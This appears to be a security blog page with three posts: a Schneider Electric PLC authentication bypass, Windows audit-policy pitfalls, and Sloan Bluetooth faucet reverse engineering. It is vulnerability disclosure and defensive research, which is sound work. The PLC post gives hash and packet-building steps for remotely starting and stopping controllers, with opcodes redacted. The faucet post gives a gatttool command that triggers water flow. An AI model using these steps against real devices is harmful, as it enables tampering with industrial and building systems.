Normal view

There are new articles available, click to refresh the page.
Before yesterdayTenable TechBlog - Medium

Examining Crypto and Bypassing Authentication in Schneider Electric PLCs (M340/M580)

13 July 2021 at 14:31

What you see in the picture above is similar to what you might see at a factory, plant, or inside a machine. At the core of it is Schneider Electric’s Modicon M340 programmable logic controller (PLC). It’s the module at the top right with the ethernet cable plugged in (see picture below), the brains of the operation.

Power supply, PLC, and IO modules attached to backplane.

PLCs are devices that coordinate, monitor, and control industrial processes or machines. They interface with modules (often interconnected through a shared backplane) that allow them to gather data from sensors such as thermostats, pressure, proximity, etc.., and send control signals to equipment such as motors, pumps, and heaters. They are typically hardened in order to survive in rough environments.

PLCs are typically connected to a Supervisory Control and Data Acquisition (SCADA) system or Human Machine Interface (HMI), the user interface for control systems. SCADA controllers can monitor and control multiple subordinate PLCs from one location, and like PLCs, are also monitored and controlled by humans through a connected HMI.

In our test system, we have a Schneider Electric Modicon M340 PLC. It is able to switch on and off outlets via solid state relays and is connected to my network via an ethernet cable, and the engineering station software on my computer is running an HMI which allows me to turn the outlets on and off. Here is the simple HMI I designed for switching the outlets:

Simple Human Machine Interface (HMI)

The connected light is currently on (the yellow circle). Hitting the off button will turn off the actual light and turn the circle on the interface gray.

The engineering station contains programming software (Schneider Electric Control Expert) that allows one to program both the PLC and HMI interfaces.

A PLC is very similar to a virtual machine in its operation; they typically run an underlying operating system or “firmware,” and the control program or “runtime” is started, stopped, and monitored by the underlying operating system.

Ecostruxure Control Expert — Engineering Station Software

These systems often operate in “air-gapped” environments (not connected to the internet) for security purposes, but this is not always the case. Additionally, it is possible for malware (e.g. stuxnet) to make it into the environments when engineers or technicians plug outside equipment into the network, such as laptops for maintenance.

Cyber security in industrial control systems has been severely lacking for decades, mostly due to the false sense of security given by “air-gaps” or segmented networks. Often controllers are not protected by any sort of security at all. Some vendors claim that it is the responsibility of an intermediary system to enforce.

As a result of this somewhat lax standpoint towards security in industrial automation, there have been a few attacks recently that made the news:

Vendors are finally starting to wake up to this, and newer PLCs and software revisions are starting to implement more hardened security all the way down to the controller level. In this blog, I will examine the recent cyber security enhancements inside Schneider Electric’s Modicon M340 PLC.

Internet Connected Devices

The team did a cursory search on BinaryEdge to determine if any of these devices (including the M580, which we later learned was also affected) are connected to the internet. To our surprise, we found quite a few that appear legitimate across several industries including:

  • Water Treatment
  • Oil (production)
  • Gas
  • Solar
  • Hydro
  • Drainage / Levees
  • Dairy
  • Car Washes
  • Cosmetics
  • Fertilizer
  • Parking
  • Plastic Manufacturing
  • Air Filtration

Here is a breakdown of the top 10 affected countries at the time of this writing:

We have alerted ICS-CERT of the presence of these devices prior to disclosure in order to hopefully mitigate any possible attacks.

PLC Engineering Station Connection

The engineering station talks to the PLC primarily via two protocols, FTP, and Modbus. FTP is primarily used to upgrade the firmware on the device. Modbus is used to upload the runtime code to the controller, start/stop the controller runtime, and allow for remote monitoring and control via an HMI.

Modbus can be utilized over various transport layers such as ethernet or serial. In this blog, we will focus on Modbus over TCP/IP.

Modbus is a very simple protocol designed by Schneider Electric for communicating with multiple controllers for the purposes of monitoring and control. Here is the Modbus TCP/IP packet structure:

Modbus packet structure (from Wikipedia)

There are several predefined function codes in modbus, like read/write coils (e.g. for operating relays attached to a PLC) or read/write registers (e.g. to read sensor data). For our controller (and many others), Schneider Electric has a custom function code called Unified Messaging Application Services or UMAS. This function code is 0x5a, or 90. The data bytes contain the underlying UMAS packet data. So in essence, UMAS is tunneled through Modbus.

After the 0x5a there are two bytes, the second of which is the UMAS packet type. In the image above, it is 0x02, which is a READ_ID request. You can find out more information about the UMAS protocol, and a break down of the various message types in this great writeup: http://lirasenlared.blogspot.com/2017/08/the-unity-umas-protocol-part-i.html.

M340 Cyber Security

The recent cyber security enhancements in the M340 firmware (from version 3.01 on 2/2019 and onward) are designed to prevent a remote attacker from executing certain functions on the controller, such as starting and stopping the runtime, reading and writing variables or system bits (to control the program execution), or even uploading a new project to the controller if an application password is configured under the “Project & Controller Protection” tab in the project properties. Due to it being improperly implemented, it is possible to start and stop the controller without this password, as well as perform other control functions protected by the cyber security feature.

Auth Bypass

When connecting to a PLC, the client sends a request to read memory block <redacted> on the PLC before any authentication is performed. This block appears to contain information about the project (such as the project name, version, and file path to the project on the engineering station) and authentication information as well.

<redacted> memory block, containing authentication hashes

Here, “TenableFactory” is the project name. “AGC7MAIWE” is the “Crypted” program and safety project password. The base64 string is used afterwards to verify the application password. This is done as follows:

The actual password is only checked on the client side. To negotiate an authenticated session, or “reservation” first you need to generate a 32 byte random nonce (which is a term for a random number generated once each session), send it to the server, and get one back. This is done through a new type of UMAS packet introduced with the cyber security upgrades, which is <redacted>. I’ve highlighted the nonces (client followed by server) exchanged below:

The next step is to make a reservation using packet type <redacted>. With the new cyber security enhancements, in addition to the computer name of the connecting host, an ASCII sha256 hash is also appended:

This hash is generated as follows:

SHA256 (server_nonce + base64_str + client_nonce)

The base64 string is from the first block <redacted> read and in this case would be:

“pMESWEjNgAY=\r\nf6A17wsxm7F5syxa75GsQhNVC4bDw1qrEhnAp08RqsM=\r\n”. 

You do not need to know the actual password to generate this SHA256.

The response contains a byte at the end (here it is 0xc9) that needs to be included after the 0x5a in protected requests (such as starting and stopping the PLC runtime).

To generate a request to a protected function (such as start PLC runtime) you first start with the base request:

# start PLC request
to_send = “\x5a” + check_byte + “\x40\xff\x00”

check_byte in this case would be 0xc9 from the reservation request response. You then calculate two hashes:

auth_hash_pre = sha256(hardware_id + client_nonce).digest()
auth_hash_post = sha256(hardware_id + server_nonce).digest()

hardware_id can be obtained by issuing an info request (0x02):

Here the hardware_id is 06 01 03 01.

Once you have the hashes above, you calculate the “auth” hash as follows:

auth_hash = (sha256(auth_hash_pre + to_send + auth_hash_post).digest())

The complete packet (without modbus header) is built as follows:

start_plc_pkt = (“\x5a” + check_byte + “\x38\01” + auth_hash + to_send)

Put everything together in a PoC and you can do things like start and stop controllers remotely:

Proof of Concept in action

A complete PoC (auth_bypass_poc.py) can be found here:

<redacted>

Here is a demo video of the exploit in action, against a model water treatment plant:

Ideally, the controller itself should verify the password. Using a temporal key-exchange algorithm such as Diffie-Hellman to negotiate a pre-shared key, the password could be encrypted using a cipher such as AES and securely shared with the controller for evaluation. Better yet, certificate authentication could be implemented which would allow access to be easily revoked from one central location.

Program and Safety Password

If the Crypted box is checked, a weak, unknown, non-cryptographically sound custom algorithm is used, which reveals the length of the password (the length of hash = length of password).

Program and Safety Protection Password Crypted Option

If the “Crypt” box isn’t checked, this password is in plaintext which is a password disclosure issue.

Here is a reverse engineered implementation I wrote in python:

This appears to be a custom hashing function, as I couldn’t find anything similar to it during my research. There are a couple of issues I’ve noticed. First, the length of the hash matches the length of the password, revealing the password length. Secondly, the hash itself is limited in characters (A-Z and 0–9) which is likely to lead to hash collisions. It is easily possible to find two plaintext messages that hash to the same value, especially with smaller passwords. For example, ‘acq’, ‘asq’, ‘isy’ and ‘qsq’ all hash to ‘5DF’.

Firmware Web Server Errata

Here are a few things I noticed while examining the controller firmware, specifically having to do with the built-in PLC web server they call FactoryCase. This is not enabled by default.

Predictable Web Nonce

The web nonce is calculated by concatenating a few time stamps to a hard coded string. Therefore, it would be possible to predict what values the nonce might be within a certain time frame.

The proper way to calculate a nonce would be to use a proper cryptographic random number generator.

Rot13 Storage of Web Password Data

It appears that the plaintext web username and password is stored somewhere locally on the controller using rot13. Ideally, these should be stored using a salted hash. If the controller was stolen, it might be possible for an attacker to recover this password.

Conclusion

What at the surface looks like authentication, especially when viewing a packet capture, actually isn’t when you dig into the details. Some critical errors were made and not caught during the design and testing of the authentication mechanisms. More oversight and auditing is needed for the security mechanisms in critical products such as this. It’s as critical as the water proofing, heat shielding, and vibration hardening in the hardware. These enhancements should not have made it past critical design review.

This goes back to a core tenet of security that you can’t trust a client. You have to verify every interaction server side. You can not rely on client side software (a.k.a “Engineering Station”) to do the security checks. This verification needs to be done at every level, all the way down to the PLCs.

Another tenet violated would be to not roll your own crypto. There are tons of standard cryptographic algorithms implemented in well tested and designed libraries, and published authentication standards that are easy enough to borrow. You will make a mistake trying to implement it yourself.

We disclosed the vulnerability to Schneider Electric in May 2021. As per https://www.zdnet.com/article/modipwn-critical-vulnerability-discovered-in-schneider-electric-modicon-plcs/, the vulnerability was first reported to Schneider in Fall 2020. In the interest of keeping sensitive systems “safer”, we have had to redact multiple opcodes and PoC code from the blog as this is one of those rarest of rare cases where full disclosure couldn’t be followed. After many animated internal discussions, we had to take this step even though we are proponents of full disclosure. Schneider hasn’t provided an ETA yet on when this issue would be fixed, saying that it is still many months out. We were also informed that five other researchers have co-discovered and reported this issue.

While vendors are expected to patch within 90 days of disclosure, the ICS industry as a whole hasn’t evolved to the extent it should have in terms of security maturity to meet these expectations. Given the sensitive industries where the PLCs are deployed, one would imagine that we would have come a long way by now in terms of elevating the security posture. Prioritizing and funding a holistic Security Development Lifecycle (SDL) is key to reducing cyber exposure and raising the bar for attackers.. However, many of these systems are just sitting there unguarded and in some cases, without anyone aware of the potential danger.

See https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-194-01 for Schneider Electrics advisory.

See https://us-cert.cisa.gov/ics/advisories/icsa-21-194-02 for ICS-CERTs advisory.


Examining Crypto and Bypassing Authentication in Schneider Electric PLCs (M340/M580) was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Don’t make your SOC blind to Active Directory attacks: 5 surprising behaviors of Windows audit…

6 July 2021 at 21:54

Don’t make your SOC blind to Active Directory attacks: 5 surprising behaviors of Windows audit policy

Tenable.ad can detect Active Directory attacks. To do this, the solution needs to collect security events from the monitored Domain Controllers to be analyzed and correlated. Fortunately, Windows offers built-in audit policy settings to configure which events should be logged. But when testing those options, we noticed surprising behaviors that can lead to missed events.

When you configure your Active Directory domain controllers to log security events to send to your SIEM and raise alerts, you absolutely do not want any regression which would ultimately blind your SOC! In this article we will share technical tips to prevent those unexpected issues.

Disclaimer

This content is based on observations and our interpretation of Microsoft documentation. This article is provided “as-is” and we do not provide any guarantee of correctness nor exhaustiveness and you should only rely on Microsoft guidance.

Introduction

Starting with Windows 2000, Windows offered only simple audit policy settings grouped in nine categories. Those are referred to as “top-level categories” or “basic audit policy” and they are still available in modern versions.

Later, “granular auditing” was introduced with Windows Vista / 2008 (it was configurable only via “auditpol.exe”) and then Windows 7 / 2008 R2 (configurable via GPO). Those are referred to as “sub-level categories” or “advanced audit policy”.

Each basic setting corresponds to a mix of several advanced settings. For example, from Microsoft Advanced security auditing FAQ:

Enabling the single basic account logon setting would be the equivalent of setting all four advanced account logon settings.

The content described in this article was tested on Windows Active Directory domain controllers because those are the most appropriate sources of interest for Active Directory attacks detection, but it should apply to all kinds of Windows machines (servers & workstations).

Surprise #1 — Advanced audit policy fully replaces the basic policy

As soon as we enable even just one advanced audit policy setting, Windows fully switches to advanced policy mode and ignores all existing basic policies (at least on the recent versions of Windows we tested)! Here is a demonstration:

  • Before: the system uses basic settings. We enable “Success, Failure” for “Audit privilege use” (green highlighting) and for other categories the default values apply. This works as expected:
  • After: we only enable one advanced setting (green highlighting). Notice how everything else is not audited anymore, including what we explicitly configured in the basic policy (red highlighting)!

Therefore, you cannot have both and thus when you start using the advanced audit policy, which you should, you are committed to it and should abandon the basic settings to prevent confusion.

Microsoft Advanced security auditing FAQ explains it:

When advanced audit policy settings are applied by using Group Policy, the current computer’s audit policy settings are cleared before the resulting advanced audit policy settings are applied. After you apply advanced audit policy settings by using Group Policy, you can only reliably set system audit policy for the computer by using the advanced audit policy settings. […] Important: Whether you apply advanced audit policies by using Group Policy or by using logon scripts, do not use both the basic audit policy settings under Local Policies\Audit Policy and the advanced settings under Security Settings\Advanced Audit Policy Configuration. Using both advanced and basic audit policy settings can cause unexpected results in audit reporting.

➡️ Tenable.ad recommendation: use advanced audit policy settings only. Existing basic audit policies should be converted.
This recommendation is present in the best practices and hardening guides published by cybersecurity organizations (such as ANSSI, DISA STIG, CIS Benchmarks…).

Surprise #2 — Advanced audit policy may be ignored

However, there are some cases where basic audit policy settings may still take priority over the ones defined in the advanced audit policy. Correctly understanding when and where it could happen is complicated.

As per Microsoft Advanced security auditing FAQ:

If you use Advanced Audit Policy Configuration settings or use logon scripts to apply advanced audit policies, be sure to enable the “Audit: Force audit policy subcategory settings (Windows Vista or later) to override audit policy category settings” policy setting under “Local Policies\Security Options”. This will prevent conflicts between similar settings by forcing basic security auditing to be ignored.

➡️ Tenable.ad recommendation: once you start using advanced audit policy, we recommend enabling the “Audit: Force audit policy subcategory settings (Windows Vista or later) to override audit policy category settings” GPO setting to prevent undesired surprises. Its default value being “Enabled”, it should already be effective anyway in the majority of environments.
This recommendation is present in the best practices and hardening guides published by cybersecurity organizations (such as ANSSI, DISA STIG, CIS Benchmarks…).

Surprise #3 — Advanced audit policy default values are not respected

As we saw previously, as soon as we enable even just one advanced audit policy setting the system entirely switches to the advanced mode. The question we may have now is how does the system manage the other settings that we did not specify? There are certainly sensible default values, aren’t there? These default values are described in the documentation of each audit policy setting. Let’s read the explanation of the “Audit Logon” setting:

So, here on a server I should expect a default value of “Success, Failure” for the “Audit Logon” setting if not configured, shouldn’t I? Well, we may have a surprise here.

Here is the configuration I applied on my server: I enabled “Success” logging for “Audit Account Lockout” and left “Audit Logon” as “Not Configured”:

However, when looking at the resulting audit policy I notice that “Logon” events are not audited, contrary to their default:

We knew we should not rely on defaults… but this one is really surprising. Of course we made sure that there was no other GPO defining any audit policy setting.

➡️ Tenable.ad recommendation: do not rely on default values for Advanced audit policy settings: explicitly configure the desired value (No Auditing, Success, Failure, or Success and Failure) for each setting of interest.

Be even more careful when migrating from a basic audit policy: make sure to export the resulting policy you had on a normal machine, and convert it to all the appropriate advanced settings to prevent any regression in logging. And as usual with GPOs, especially for security settings, aim to create a single security GPO linked the highest possible, instead of spreading those in many lower-level GPOs.

Surprise #4 — Settings defined by GPOs are not merged

What happens when a machine is covered by several GPOs which define audit policy settings? What if one GPO enables “Success” auditing while another enables “Failure” auditing, is there a merge and would we obtain “Success and Failure”?

Answer: there is no merge at the setting level, and only the value of the GPO with the highest priority is applied. This is actually coherent with the way the Group Policy engine usually works, so not really a surprise, but still to keep in mind.

Here is a demonstration where we want to configure auditing on domain controllers. Two GPOs apply to those servers:

Default Domain Policy” linked at the top of the Active Directory domain

  • Audit Account Lockout” is set to “Success and Failure” (yellow highlighting)
  • Audit Logon” is set to “Success” (red highlighting)

Default Domain Controllers Policy” linked to the “Domain Controllers” organization unit

  • Audit Logoff” is set to “Success and Failure” (blue highlighting)
  • Audit Logon” is set to “Failure” (red highlighting)

Now let’s see the resulting audit policy:

We notice that the conflicting values for “Logon” (red highlighting) were not merged, instead it is the value of the “Default Domain Controllers Policy”. This GPO won as per the usual GPO precedence rules.

We also observe that the values for “Logoff” (blue highlighting) from the “Default Domain Controllers Policy” and “Account Lockout” (yellow highlighting) from the “Default Domain Policy” are both properly applied because those were not in conflict.

Here is how Microsoft Advanced security auditing FAQ explains it:

By default, policy options that are set in GPOs and linked to higher levels of Active Directory sites, domains, and OUs are inherited by all OUs at lower levels. However, an inherited policy can be overridden by a GPO that is linked at a lower level.

You can also read more about GPO Processing Order in the [MS-GPOL] specification.

➡️ Tenable.ad recommendation: keep in mind that conflicting audit settings are not merged.
If you want to define a domain-wide security auditing GPO, you should ensure that no other GPO at a lower OU level overrides its settings. If necessary, you can set this domain-wide GPO as “Enforced”, even if this is not our preferred option as it can become confusing when managing a large set of GPOs.

If you are only concerned about auditing on domain controllers, you can link a GPO to the “Domain Controllers” organizational unit, as long as there is no domain-level “Enforced” GPO overriding audit policy settings.

Surprise #5 — Only one tool properly shows the effective audit policy

We have just shown that we can have many surprises when configuring auditing, so we really would like a way to see the effective audit policy on a system to confirm that it is as expected.

We could be tempted to use tools which compute the result of GPOs (RSoP), but…

For example, “rsop.msc” does not even seem to support advanced audit policy, which is not too surprising since it is deprecated! See how this section is used in the GPO editor on the right-hand side whereas it is missing in “rsop.msc” on the left-hand side:

And with “gpresult.exe”, if we have basic and advanced audit policies, we will see both: which one applies?

And what about settings that might have been configured locally and not through a GPO (which is not advised…)?

The only supported tool which can properly read the current effective audit policy is “auditpol.exe”, as you may have guessed from our previous screenshots. This is confirmed by a Microsoft blog post. For those who want to dig deeper: “auditpol.exe” calls AuditQuerySystemPolicywhich finally calls the “LsarQueryAuditPolicy” RPC in LSASS.

➡️ Tenable.ad recommendation: only trust the following command to see the effective audit policy on machines: “auditpol.exe /get /category:*”

Surprise bonus — Confusions in the specification

Configuring advanced audit policy in a GPO creates an “audit.csv” file which is described in the [MS-GPAC] Microsoft open specification. We found a mistake in one of the examples:

Machine Name,Policy Target,Subcategory,Subcategory GUID,Inclusion Setting,Exclusion Setting,Setting Value
TEST-MACHINE,System,IPsec Driver,{0CCE9213–69AE-11D9-BED3–505054503030},No Auditing,,0
TEST-MACHINE,System,System Integrity,{0CCE9212–69AE-11D9-BED3–505054503030},Success,,1
TEST-MACHINE,System,IPsec Extended Mode,{0CCE921A-69AE-11D9-BED3–505054503030},Success and Failure,,3
TEST-MACHINE,System,File System,{0CCE921D-69AE-11D9-BED3–505054503030},Not specified,,0

On the right-hand columns we have the setting name (such as “No Auditing”, “Success”, etc.) and the corresponding numerical value (0, 1, 3…). We can see that according to the first and last lines the value “0” is associated with both “No Auditing” and “Not specified” which does not make sense. Fortunately the text value is ignored: “value of InclusionSetting is for user readability only and is ignored when the advanced audit policy is applied”.

Also, we found the specification a bit confusing regarding the values of “0” and “4”:

A value of “0”: Indicates that this audit subcategory setting is unchanged.
A value of “4”: Indicates that this audit subcategory setting is set to None.

Our observations actually show that:

  • A value of “0” means that auditing is “disabled”, which corresponds to this in the graphical editor:
  • A value of “4” means that auditing is “not specified”, and thus the default value should apply (except when it does not, as shown before), which would correspond to this in the graphical editor (except that in this case the editor does not even generate a line for this setting in “audit.csv”):

Don’t make your SOC blind to Active Directory attacks: 5 surprising behaviors of Windows audit… was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Plumbing the Depths of Sloan’s Smart Bathroom Fixture Vulnerabilities

By: Ben Smith
30 June 2021 at 13:03

As I stood in line at my local donut shop, I idly began scanning nearby Bluetooth Low Energy (BLE) devices. There were several high-rises nearby, and who knows what interesting things lurk in those halls. Typically, I’ll see consumer technology like Apple products, fitness trackers, entertainment systems, but that day I saw something that piqued my interest… Device Name: FAUCET ADSKU01 A0174. A bluetooth… faucet?! I had to know more. Since I clearly did not own this particular device and also didn’t want to risk a flood, I went home and looked up all I could find about these SmartFaucets while greedily gobbling a glazed donut or two.

Device Name: FAUCET

The device ran in a line of SmartFaucets and Flushometers made by Sloan Valve Company. I had to find one I could use for testing. Their connected devices are Sloan SmartFaucets including Optima EAF, Optima ETF/EBF, BASYS EFX (these require an external adapter) and Flushometers such as SOLIS and can be viewed over at https://www.sloan.com/design/connected-products. The app to connect to these devices is called SmartConnect and is available in the Google Play or Apple App stores.

An update to Sloan’s feature checklist

A Quick Bluetooth Glossary

Bluetooth Classic — This is the original Bluetooth protocol still widely used. Sometimes it will be referred to as “BR” or “EDR.” Devices are connected one to one.

Bluetooth Low Energy (BLE) — This is actually a different protocol from Bluetooth Classic. It has lower energy requirements, and devices can interoperate one-to-one, one-to-many, or even many-to-many. Almost everywhere we mention Bluetooth in this article, we mean BLE, and not Bluetooth Classic.

Services — Technically part of the “GATT” BLE layer, services are groupings of characteristics by function.

Characteristics — Part of the “GATT” BLE layer, characteristics are UUID/value pairs on a device. The value can be read, written to, and more, depending on permissions. Sometimes it’s helpful to think of them as UDP ports with (generally) very simple services.

UUIDs — Random numbers used to refer to services and characteristics. Some are assigned by the Bluetooth SIG, while others are set by the device’s manufacturer.

Sloan SmartConnect App

SmartConnect App has a button to “Dispense Water”

As its sole protection mechanism, the app requires a phone number prior to use and then sends a code to that number.

More SmartConnect app functionality

After that, quite an array of features are available. Let’s see what we can find out with an actual device.

SmartFaucet

Sloan EBF615–4 Internals

I managed to acquire a Sloan EBF615–4 Optima Plus, added batteries, and plugged in the faucet. When I wave my hand in front of the IR sensor, I can hear the clicking of the faucet mechanism allowing a potential flow of water to course through the spigot. This is good as I’ll have some way of knowing if we’re getting somewhere. I’d already installed the SloanConnect app, and registered with an actual phone number, so I was able to connect to the device.

Let’s start by using hcitool to scan for BLE devices nearby. Hcitool is a Linux utility for scanning for Bluetooth devices and interacting with our Bluetooth adapter. The ‘lescan’ option allows us to scan for Bluetooth Low Energy. The device we’re interested in is aptly named “FAUCET”.

pi@rpi4:~ $ sudo hcitool lescan | grep FAUCET
08:6B:D7:20:00:01 FAUCET ADSKU02 A0121
08:6B:D7:20:00:01 FAUCET ADSKU02 A0121

Now that we know its MAC address, we can use gatttool, a Linux utility for interacting with BLE devices, to query the BLE services:

pi@rpi4:~ $ sudo gatttool -b 08:6B:D7:20:00:01 — primary
attr handle = 0x0001, end grp handle = 0x0005 uuid: 00001800–0000–1000–8000–00805f9b34fb
attr handle = 0x0006, end grp handle = 0x0009 uuid: 00001801–0000–1000–8000–00805f9b34fb
attr handle = 0x000a, end grp handle = 0x000e uuid: 0000180a-0000–1000–8000–00805f9b34fb
attr handle = 0x000f, end grp handle = 0x002d uuid: d0aba888-fb10–4dc9–9b17-bdd8f490c900
attr handle = 0x002e, end grp handle = 0x0031 uuid: 0000180f-0000–1000–8000–00805f9b34fb
attr handle = 0x0032, end grp handle = 0x0050 uuid: d0aba888-fb10–4dc9–9b17-bdd8f490c910
attr handle = 0x0051, end grp handle = 0x0081 uuid: d0aba888-fb10–4dc9–9b17-bdd8f490c920
attr handle = 0x0082, end grp handle = 0x009d uuid: d0aba888-fb10–4dc9–9b17-bdd8f490c940
attr handle = 0x009e, end grp handle = 0x00a1 uuid: d0aba888-fb10–4dc9–9b17-bdd8f490c950
attr handle = 0x00a2, end grp handle = 0x00ba uuid: d0aba888-fb10–4dc9–9b17-bdd8f490c960
attr handle = 0x00bb, end grp handle = 0x00d9 uuid: d0aba888-fb10–4dc9–9b17-bdd8f490c970
attr handle = 0x00da, end grp handle = 0xffff uuid: 1d14d6ee-fd63–4fa1-bfa4–8f47b42119f0

and their characteristics:

pi@rpi4:~ $ sudo gatttool -b 08:6B:D7:20:00:01 — characteristics
handle = 0x0002, char properties = 0x0a, char value handle = 0x0003, uuid = 00002a00–0000–1000–8000–00805f9b34fb
handle = 0x0004, char properties = 0x02, char value handle = 0x0005, uuid = 00002a01–0000–1000–8000–00805f9b34fb
handle = 0x00db, char properties = 0x08, char value handle = 0x00dc, uuid = f7bf3564-fb6d-4e53–88a4–5e37e0326063
handle = 0x00de, char properties = 0x04, char value handle = 0x00df, uuid = 984227f3–34fc-4045-a5d0–2c581f81a153

Once we reverse the Android app, we can hopefully find variable names that reference these UUIDs and determine their function.

One thing I’ve noticed while doing this is that the device seems to stop beaconing every so often, and I need to either press a button on it OR wait a bit OR unseat and reseat the batteries. It’s possible that it limits connections over a period of time.

Let’s take a look back at the app.

SmartConnect Again

After pulling the app off of my phone using adb and then reversing it with jadx, I start searching for interesting bits. The first one to jump out was:

public final void dispenseWater() {
    if (getMainViewModel().getConnectionState().getValue() == ConnectionState.CONNECTED) {
getMainViewModel() .getConnectionState() .setValue (ConnectionState.DISPENSING_WATER);
        BluetoothGattCharacteristic bluetoothGattCharacteristic = getMainViewModel().getGattCharacteristics().get(UUID.fromString(GattAttributesKt.UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_WATER_DISPENSE));
        if (bluetoothGattCharacteristic != null) {
bluetoothGattCharacteristic.setValue(""1"");
        }
        FragmentActivity activity = getActivity();
        if (activity != null) {
            BluetoothLeService bluetoothLeService = ((MainActivity) activity).getBluetoothLeService();
            if (bluetoothLeService != null) {
bluetoothLeService. writeCharacteristic(bluetoothGattCharacteristic);
                return;
            }
            return;
        }
        throw new TypeCastException(""null cannot be cast to non-null type com.smartwave.sloanconnect.MainActivity"");
    }
}

Seems like it’ll be pretty easy to make this thing flow. Now we just need to figure out the BLE characteristic UUID referenced by UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_WATER_DISPENSE. This is made incredibly easy thanks to a nice table of UUID variables.

public static final String UUID_CHARACTERISTIC_APP_IDENTIFICATION_PASS_CODE = “d0aba888-fb10–4dc9–9b17-bdd8f490c954”;
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_LAST_RANGE_CHANGE = “d0aba888-fb10–4dc9–9b17-bdd8f490c92a”;
public static final String
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_FLUSH_ON_OFF = “d0aba888-fb10–4dc9–9b17-bdd8f490c946”;
public static final String
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_SENSOR_RANGE = “d0aba888-fb10–4dc9–9b17-bdd8f490c942”;
public static final String
UUID_CHARACTERISTIC_FAUCET_BD_STATISTICS_INFO_NUMBER_OF_ALL_FLUSHES = “d0aba888-fb10–4dc9–9b17-bdd8f490c916”;
public static final String
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_FLUSH_VOLUME_CHANGE = “f89f13e7–83f8–4b7c-9e8b-364576d88334”;
public static final String
UUID_CHARACTERISTIC_FLUSHER_DIAGNOSIS_ACTIVATE_VALVE_ONCE = “f89f13e7–83f8–4b7c-9e8b-364576d88361”;

Wow. In addition to finding our water dispensing UUID, there are a lot of other interesting variable names. A select few of ~100 are shown above. It looks like this thing supports over-the-air (OTA) firmware updates, tons of diagnostic and sensor settings, possible security settings, and more.

Now that we know the UUID that turns on the water, let’s use NRF Connect to see what we can do. I’m switching over to NRF Connect from gatttool because it handles the connection easily. Since the faucet seems to ‘time out’ or disallow connections after a period of time, this is useful so we don’t lose our connection and reset everything.

The faucet’s BLE advertising information
nRF Connect for Desktop showing the faucet’s Services

In the decompiled ‘dispenseWater()’ function above, we saw that the function basically sends a ‘1’ to the UUID stored in the variable UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_WATER_DISPENSE. Luckily we can find the UUID in the table we found:

public static final String UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_WATER_DISPENSE = “d0aba888-fb10–4dc9–9b17-bdd8f490c965”;

Cool. Let’s write to that UUID. The default value is 30, so, ‘0’ in ASCII. Let’s write 31, or ‘1’, since that’s what the code does. I tried writing other numbers first but nothing else did anything, until…

nRF Connect view showing flow being enabled.

I barely refrained from yelping for joy when I heard the faucet’s telltale ‘click’ indicating the spigot had activated. Since the faucet isn’t hooked up to a water source (hey, i’m not a plumber), you’ll have to bear with the above anti-climactic demo.

We should be able to do this with gatttool via:

$ sudo gatttool -b 08:6B:D7:20:00:01 — char-write-req -a 0x00b3 -n 31

Flush Toilet

Although I don’t have a smart Flushometer, it works very similarly to the faucet. We can see the code for “flushToilet()” is almost identical:

public static final void flushToilet(BluetoothLeService bluetoothLeService, MainViewModel mainViewModel) {
    Intrinsics.checkParameterIsNotNull(bluetoothLeService, "$this$flushToilet");
    Intrinsics.checkParameterIsNotNull(mainViewModel, "mainViewModel");
    if (mainViewModel.getConnectionState().getValue() != ConnectionState.FLUSHING_TOILET) {
        mainViewModel .getConnectionState() .setValue(ConnectionState.FLUSHING_TOILET);
        BluetoothGattCharacteristic bluetoothGattCharacteristic = mainViewModel.getGattCharacteristics().get(UUID.fromString(GattAttributesKt.UUID_CHARACTERISTIC_FLUSHER_DIAGNOSIS_ACTIVATE_VALVE_ONCE));
        if (bluetoothGattCharacteristic != null) {
            bluetoothGattCharacteristic.setValue("1");
        }
        bluetoothLeService .writeCharacteristic(bluetoothGattCharacteristic);
    }
}

And we can look up the UUID for the flush variable:

public static final String UUID_CHARACTERISTIC_FLUSHER_DIAGNOSIS_ACTIVATE_VALVE_ONCE = “f89f13e7–83f8–4b7c-9e8b-364576d88361”;

Even though I don’t intend to acquire a smart Flushometer, I can confidently say I know what’s happening here.

Unlock Key

There seems to be a concept of an unlock key in the android app.

public final void setGattCharacteristics(List<? extends BluetoothGattService> list) {
    DeviceData value;
    if (list != null) {
        for (T t : list) {
            Timber.i(“Service: “ + t.getUuid(), new Object[0]);
            List<BluetoothGattCharacteristic> characteristics = t.getCharacteristics();
            Intrinsics .checkExpressionValueIsNotNull(characteristics, “service.characteristics”);
            for (T t2 : characteristics) {
                Map<UUID, BluetoothGattCharacteristic> map = this.gattCharacteristics;
                Intrinsics.checkExpressionValueIsNotNull(t2, “characteristic”);
                UUID uuid = t2.getUuid();
                Intrinsics.checkExpressionValueIsNotNull(uuid, “characteristic.uuid”);
                map.put(uuid, t2);
                if (Intrinsics.areEqual(t2.getUuid(), UUID.fromString(GattAttributesKt.UUID_CHARACTERISTIC_APP_IDENTIFICATION_UNLOCK_KEY)) && (value = this.activeDeviceData.getValue()) != null) {
                    value.setHasSecurity(true);
                }
            }
        }
    }
}

The setGattCharacteristics function is called on connection to build the list of services and characteristics. Here, if there’s an unlock key set, the app marks a ‘security’ value as true. Later on this value is checked when a few functions are called, but so far it looks like it just appends some notes if it is set. In a few scenarios, a beginSecurityProtocol() function is called, and it will read a ‘note’ from the device if security is enabled. This ‘note’ can be used to store the phone number of the last person to change the setting. The security function seems to be more of a way to keep some data about what happened than any sort of actual security.

Flow Rate

The app has two different sets of code to protect flow rate from being set too high, depending on if we’re using Liters or Gallons.

if (doubleOrNull != null) {
    d = doubleOrNull.doubleValue();
}
if ((valueOf.length() == 0) || d < 1.3d) {
    d = 1.3d;
} else if (d > 9.9d) {
    d = 9.9d;
}
#OR:
if ((valueOf.length() == 0) || d < 0.3d) {
    d = 0.3d;
} else if (d > 2.6d) {
    d = 2.6d;
}
